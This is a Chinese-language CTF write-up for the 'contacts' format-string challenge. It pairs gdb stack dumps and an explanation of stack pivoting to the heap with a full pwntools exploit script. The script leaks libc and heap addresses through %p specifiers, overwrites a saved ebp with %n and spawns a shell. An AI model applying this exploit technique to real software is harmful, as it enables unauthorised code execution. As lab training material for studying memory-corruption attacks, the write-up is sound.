先尝试着找到漏洞点:fmtstr

在新建联系人时,如果在Description项中输入格式化字符串,在存在相应漏洞点

然后对应到:先Create,再Display,并定位到相关函数

程序开启了NX和Canary,来单步调试一下看看在漏洞点处发生了什么

Breakpoint 1, 0x08048c22 in ?? ()
gdb-peda$ stack 20
0000| 0xffffcd20 --> 0x804c420 ("%p.%p\n")
0004| 0xffffcd24 --> 0x804c410 ("1234567890")
0008| 0xffffcd28 --> 0xf7e62cab (<_IO_puts+11>:	add    ebx,0x152355)
0012| 0xffffcd2c --> 0x0 

……

gdb-peda$ n
0x804c410.0xf7e62cab

……
gdb-peda$ x/20s 0x804c410
0x804c410:	"1234567890"
0x804c41b:	""
0x804c41c:	"\031"
0x804c41e:	""
0x804c41f:	""
0x804c420:	"%p.%p\n"
0x804c427:	""

 可见,泄露的是堆上的相关信息

常规思路一:覆盖GOT表(如覆盖printf为system地址,再输入字符串"/bin/sh"),在此题中是行不通的。原因在于:该程序中许多地方利用了printf函数进行信息的输出,修改之后会造成程序崩溃

常规思路二:覆盖返回地址来控制函数流程。当我们能够想办法控制栈时,我们可以构造出ROP,如addr(system) + p32(0xABCD) + addr("/bin/sh")等方式。但是我们可能可以控制的是堆,且去布置构造ROP链也不太现实

所以,参考题解的方案是:

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_example/#_22

要实现的是将栈迁移到堆上的操作:类似Stack Pivoting

通过leave指令来实现栈迁移,需要修改程序的ebp为我们需要控制的值

程序中压入栈中的ebp的值是上一个函数保存的ebp的地址,所以我们可以修改其上层函数的保存的ebp的值,即(上上层函数)(即main函数)的ebp

主函数返回时的操作:

mov esp, ebp
pop ebp
ret

修改上上层函数(即main函数)保存的ebp为存储system_addr的地址减去4;在mov esp, ebp时即让esp指向system_addr - 4;

pop ebp即将esp指向system_addr;ret即执行

ebp => system_addr + p32(0xABCD) + addr("/bin/sh")

所以需要泄露libc版本从而获取system地址和字符串"/bin/sh"地址

Breakpoint 1, 0x08048c22 in ?? ()

gef➤  dereference $esp 50
0xffffcd20│+0x0000: 0x0804c420  →  "%p.%p.%p"	 ← $esp
0xffffcd24│+0x0004: 0x0804c410  →  "1234567890"
0xffffcd28│+0x0008: 0xf7e62cab  →  <puts+11> add ebx, 0x152355
0xffffcd2c│+0x000c: 0x00000000
0xffffcd30│+0x0010: 0xf7fb5000  →  0x001b1db0
0xffffcd34│+0x0014: 0xf7fb5000  →  0x001b1db0
0xffffcd38│+0x0018: 0xffffcd68  →  0xffffcd98  →  0x00000000	 ← $ebp
0xffffcd3c│+0x001c: 0x08048c99  →   add DWORD PTR [ebp-0xc], 0x1
0xffffcd40│+0x0020: 0x0804b0a8  →  "pang"
0xffffcd44│+0x0024: 0x0000000a
0xffffcd48│+0x0028: 0x0804c410  →  "1234567890"
0xffffcd4c│+0x002c: 0x0804c420  →  "%p.%p.%p"
0xffffcd50│+0x0030: 0xf7fb5d60  →  0xfbad2887
0xffffcd54│+0x0034: 0x08048ed6  →  0x25007325 ("%s"?)
0xffffcd58│+0x0038: 0x0804b0a0  →  0x0804c420  →  "%p.%p.%p"
0xffffcd5c│+0x003c: 0x00000000
0xffffcd60│+0x0040: 0xf7fb5000  →  0x001b1db0
0xffffcd64│+0x0044: 0x00000000
0xffffcd68│+0x0048: 0xffffcd98  →  0x00000000
0xffffcd6c│+0x004c: 0x080487a2  →   jmp 0x80487b3
0xffffcd70│+0x0050: 0x0804b0a0  →  0x0804c420  →  "%p.%p.%p"
0xffffcd74│+0x0054: 0xffffcd88  →  0x00000004
0xffffcd78│+0x0058: 0x00000050 ("P"?)
0xffffcd7c│+0x005c: 0x00000000
0xffffcd80│+0x0060: 0xf7fb53dc  →  0xf7fb61e0  →  0x00000000
0xffffcd84│+0x0064: 0x08048288  →   (bad) 
0xffffcd88│+0x0068: 0x00000004
0xffffcd8c│+0x006c: 0x0000000a
0xffffcd90│+0x0070: 0xf7fb5000  →  0x001b1db0
0xffffcd94│+0x0074: 0xf7fb5000  →  0x001b1db0
0xffffcd98│+0x0078: 0x00000000
0xffffcd9c│+0x007c: 0xf7e1b637  →  <__libc_start_main+247> add esp, 0x10
0xffffcda0│+0x0080: 0x00000001
0xffffcda4│+0x0084: 0xffffce34  →  0xffffd014  →  "/home/pang/Desktop/ctf-challenges-master/pwn/fmtst[...]"
0xffffcda8│+0x0088: 0xffffce3c  →  0xffffd064  →  "XDG_VTNR=7"
0xffffcdac│+0x008c: 0x00000000

第一步:从栈中找到某个函数的地址,利用格式化字符串进行泄露,从而推出libc版本,进而知道system和"/bin/sh"的地址

0xffffcd9c - 0x7c处泄露出了__libc_start_main的地址~偏移为31

偏移为6:ebp的值

偏移为11:堆的偏移值

第二步:利用偏移为11,泄露堆地址

第三步:将ret_addr改到堆上的system("/bin/sh")

#!/usr/bin/env python
# coding=utf-8

from pwn import *
from LibcSearcher import *

io = process("./contacts")

def create(name, phone, len, des):
    io.recvuntil(">>> ")
    io.sendline("1")
    io.recvuntil("Name: ")
    io.sendline(name)
    io.recvuntil("numbers\n")
    io.sendline(phone)
    io.recvuntil("description: ")
    io.sendline(len)
    io.recvuntil("description:\n\t\t")
    io.sendline(des)

def printcontact():
    io.recvuntil(">>> ")
    io.sendline("4")
    io.recvuntil("Description: ")

#get libc so => system_addr, binsh_addr
payload1 = "%31$paaaa"
create("1", "1", "1234", payload1)
printcontact()
libc_start_main = int(io.recvuntil("aaaa", drop = True), 16) - 247
print "libc_start_main addr: " + hex(libc_start_main)
libc = LibcSearcher("__libc_start_main", libc_start_main)
libc_base = libc_start_main - libc.dump("__libc_start_main")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
print "get system addr: " + hex(system_addr)
print "get binsh addr: " + hex(binsh_addr)

#put system("/bin/sh")in heap && get heap addr
payload2 = flat([system_addr, "bbbb", binsh_addr,"%11$paaaa"])
create("2", "2", "1234", payload2)
printcontact()
io.recvuntil("Description: ")
data = io.recvuntil("aaaa", drop = True)
data = data.split("0x")
print data
heap_addr = int(data[1], 16)
print "heap addr: ", hex(heap_addr)
#print "ABCD"

#Ret Addr => heap addr
part1 = (heap_addr - 4) / 2
part2 = heap_addr - 4 - part1
payload3 = "%" + str(part1) + "x%" + str(part2) + "x%6$n"
create("3", "3", "1234", payload3)
printcontact()
io.recvuntil("Description: ")
io.recvuntil("Description: ")
print 'Get Shell'
io.recvuntil(">>> ")
io.sendline("5")
io.interactive()